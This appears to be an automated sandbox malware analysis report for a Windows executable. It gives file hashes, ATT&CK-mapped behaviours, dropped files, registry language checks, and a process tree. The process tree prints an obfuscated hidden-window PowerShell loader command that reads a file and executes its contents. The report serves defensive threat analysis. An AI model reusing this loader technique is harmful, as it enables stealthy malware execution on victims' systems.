Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
24-10-2024 09:52
Static task
static1
Behavioral task
behavioral1
Sample
226999705-124613-sanlccjavap0004-67.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
226999705-124613-sanlccjavap0004-67.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Alphabetism.ps1
Resource
win7-20240729-en
Behavioral task
behavioral4
Sample
Alphabetism.ps1
Resource
win10v2004-20241007-en
General
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Target
226999705-124613-sanlccjavap0004-67.exe
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Size
980KB
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MD5
3496733f467e1bb42564ad985eb7e4bf
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SHA1
a7ee45e43e2c18b48a3f7fd2db51d60d4f8a303b
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SHA256
bce4a013376b64f537dacb8d7667847f0d1d20f5e73494aee22cddc86af5366b
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SHA512
c95486995e16f19954cb3d110693c9dd9635e5fd2d75fd998974ff5479851f56118efc90f0905c698aaf2274c4aa63cd70a2316a4f829348cd540a0f7e6f36dd
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SSDEEP
24576:U+63T2jeQojtnk3VKvNr8xAGuwIm/yWiopvC9wd:U+/j96Lq/RaWi6Mwd
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 1556 powershell.exe 2080 powershell.exe -
Drops file in Program Files directory 1 IoCs
Processes:
226999705-124613-sanlccjavap0004-67.exedescription ioc process File opened for modification C:\Program Files (x86)\Common Files\Hemicrane.ini 226999705-124613-sanlccjavap0004-67.exe -
Drops file in Windows directory 3 IoCs
Processes:
226999705-124613-sanlccjavap0004-67.exedescription ioc process File created C:\Windows\resources\0409\syntonolydian\statsminister.lnk 226999705-124613-sanlccjavap0004-67.exe File opened for modification C:\Windows\resources\0409\federalt\Telephonists230.Ube 226999705-124613-sanlccjavap0004-67.exe File opened for modification C:\Windows\resources\snagline.sub 226999705-124613-sanlccjavap0004-67.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
226999705-124613-sanlccjavap0004-67.exepowershell.exepowershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 226999705-124613-sanlccjavap0004-67.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 1556 powershell.exe 2080 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1556 powershell.exe Token: SeDebugPrivilege 2080 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
226999705-124613-sanlccjavap0004-67.exedescription pid process target process PID 2628 wrote to memory of 1556 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 1556 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 1556 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 1556 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 2080 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 2080 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 2080 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe PID 2628 wrote to memory of 2080 2628 226999705-124613-sanlccjavap0004-67.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\226999705-124613-sanlccjavap0004-67.exe"C:\Users\Admin\AppData\Local\Temp\226999705-124613-sanlccjavap0004-67.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Bentinas=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Alphabetism.Pre';$Mesocardium=$Bentinas.SubString(53974,3);.$Mesocardium($Bentinas)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Bentinas=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Alphabetism.Pre';$Mesocardium=$Bentinas.SubString(53974,3);.$Mesocardium($Bentinas)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
946B
MD5b2ba4ea7fa2b64706cf959fb49ee1732
SHA1b1a0d5ac6a921c5ebd6f311a61abbe781a2c1f31
SHA25654e72c21533a26b87f3d60f6f5076e923d204cb2ef63b4003db8dda54613c76a
SHA51262864b3cd860ede5f8f18016615d7c48fcbcd498e1533e7a447c528e97a91a3761118d6f6c6b991ce7c42c32a1572941e6df23f17e24509b75b9264ff416e698
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Filesize
856B
MD5e66917967e5c3b295a74e548f85d5a13
SHA16562390720f32a7bb4285a0a1396574683ba385c
SHA25698e352a2dba4dfe4743e873a80d762db0f56f2c264f81d021f113e53ebac38a3
SHA5123b56554896586f3e0542eff065f4796f24d65a5d7781311b2bce158c0de98dc69df890427fd04d0d58c67192d9e8500ecc1f4c0972f2ca2b59b265e2a94f6795
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD510df4138bb64d28e3dfdd955689ca2ec
SHA107955664e5b52b26bb335e38c19c4550da32c786
SHA256b84306f82d8b05d5bd43e67c138983c0691f920b9b88d692b42479397429feed
SHA5127c56a8866da4aaf360ec555125abedef8ecbafa76d82356ebfd73f27063827adacad933b9d94c5fb9ab184fec0e37511204955c28a111274bd54325c01719c5c